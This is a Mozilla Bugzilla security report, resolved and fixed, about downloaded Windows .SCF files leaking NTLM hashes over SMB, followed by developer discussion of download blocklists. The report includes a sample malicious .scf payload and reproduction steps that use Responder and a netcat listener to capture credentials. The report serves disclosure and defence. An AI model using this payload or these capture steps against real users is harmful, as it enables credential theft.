1812354 - (CVE-2023-25740) .SCF file can also send NTLM hashes

Status: RESOLVED FIXED

(Toolkit :: Downloads API, defect)

Description

[haxatron1]

Attachment: Untitled_ Jan 26, 2023 12_01 AM.webm

+++ This bug was initially created as a clone of Bug #1812338 +++

On Windows, .SCF file can also send NTLM hashes via the IconFile parameter. Thus it is possible to reproduce https://bugzilla.mozilla.org/show_bug.cgi?id=1773894 using .SCF file

Sample .scf file which can automatically connect via SMB from file folder or send hashes

[Shell]
Command=2
IconFile=//192.168.1.109/share/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

Ref: https://bugs.chromium.org/p/chromium/issues/detail?id=722524

Comment 1

[haxatron1]

.SCF file should be added to the lnk local block-list

Comment 2

[Andrew McCreight [:mccr8]]

Moving this over to the same component as bug 1773894.

Comment 3

[haxatron1]

Question: aren't safebrowsing checks supposed to apply here based on Chrome list. This would have been blocked as scf files are marked DANGEROUS on Chromes safe browsing list? I recalled Firefox having using Chrome's list.

Comment 4

[:Gijs (he/him)]

(In reply to haxatron1 from comment #3)

Question: aren't safebrowsing checks supposed to apply here based on Chrome list. This would have been blocked as scf files are marked DANGEROUS on Chromes safe browsing list?

Can you be more precise about what you mean by this? What safebrowsing API exactly blocks all .scf files? (I see the chromium codechange from 2017, but that doesn't tell me what part of safebrowsing this would be exposed at.)

I recalled Firefox having using Chrome's list.

We use Google's safebrowsing APIs, yes.

Comment 5

[haxatron1]

From my knowledge, in Chrome, safebrowsing files marked DANGEROUS are replaced by .crdownload extension
https://chromium.googlesource.com/chromium/src/+/refs/heads/main/components/safe_browsing/content/resources/download_file_types.asciipb with a warning "This file may harm your computer. Keep it?". If the user accepts the warning then Chromium will change .crdownload to the actual extension

Granted .lnk is marked ALLOW_ON_USER_GESTURE but theIsShellIntegratedExtension() method renames it to a .download extension anyway. I am not entirely sure why.

And you are still able to download a .url file on Chromium as it is marked ALLOW_ON_USER_GESTURE. I think this is a mistake which Chromium should fix.

I think Firefox handles this differently in that files marked as DANGEROUS will still be saved on the system with their actual extension but will show a warning when opened from the notification area. However some files do not need to be opened in order to do damage such as can be seen from .lnk, .url and .scf, .local in the safe browsing list.

My recommendation is to add .lnk, .url and .scf to blocklist and also implement the .crdownload functionality which allows the file to be saved only when the user accepts a warning.

Comment 6

[haxatron1]

Just pasting an STR here

STR

1. Host example.scf on a server
2. Replace all instances of 192.168.1.109 with your responder IP address.
3. Start responder using responder -I eth0 -wvd
4. Create a link that download example.scf, see that example.scf is downloaded by Firefox without any warning, click Show in Folder and the hash is leaked to responder. (Alternatively you can set a netcat listener nc -nvlp 445 and you should see an SMB connection, windows automatically forwards credentials when attempting to connect via SMB

Comment 7

[Dimi Lee [:dimi]]

(In reply to haxatron1 from comment #5)

My recommendation is to add .lnk, .url and .scf to blocklist and also implement the .crdownload functionality which allows the file to be saved only when the user accepts a warning.

I can confirm Chrome supports those extension (.lnk, .url and .scf). The reason we don't include those extension is because we didn't want to include all extensions Chrome supports when we implemented download protection in the first place.

gijs, do you think we should include those extensions?

Comment 8

[:Gijs (he/him)]

(In reply to Dimi Lee [:dimi][:dlee] from comment #7)

(In reply to haxatron1 from comment #5)

My recommendation is to add .lnk, .url and .scf to blocklist and also implement the .crdownload functionality which allows the file to be saved only when the user accepts a warning.

I can confirm Chrome supports those extension (.lnk, .url and .scf). The reason we don't include those extension is because we didn't want to include all extensions Chrome supports when we implemented download protection in the first place.

gijs, do you think we should include those extensions?

Yes, but what you mean by "include", precisely, in this conversation? :-)

(I think there's a number of different behaviours being conflated around "safebrowsing" which afaict is a term google uses for more than 1 thing...)

Comment 9

[Dimi Lee [:dimi]]

(In reply to :Gijs (he/him) from comment #8)

Yes, but what you mean by "include", precisely, in this conversation? :-)

ah, sorry I misunderstand the bug yesterday, I thought we were talking about Firefox doesn't send download protection ping while downloading .scf files so I thought we can include .scf to the list to determine whether to send pings. But this issue is not the case since .scf is already in the sExecutableExts list (we send ping for file type in sExecutableExts)

so back to the original question

Question: aren't safebrowsing checks supposed to apply here based on Chrome list. This would have been blocked as scf files are marked DANGEROUS on Chromes safe browsing list?

Chrome's behavior on file types that they mark as DANGEROUS is "always warn users regardless the result of the safebrowsing ping". And we don't follow the same behavior. I think we only show warning based on the result of a SafeBrowsing ping.

Comment 10

[haxatron1]

Hi I think this should have been fixed by the same patch that also went out for .url correct?

Comment 11

[Andrew McCreight [:mccr8]]

Yes, that looks to be the case.

Comment 12

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 13

[haxatron1]

advisory.txt should be Firefox not Thunderbird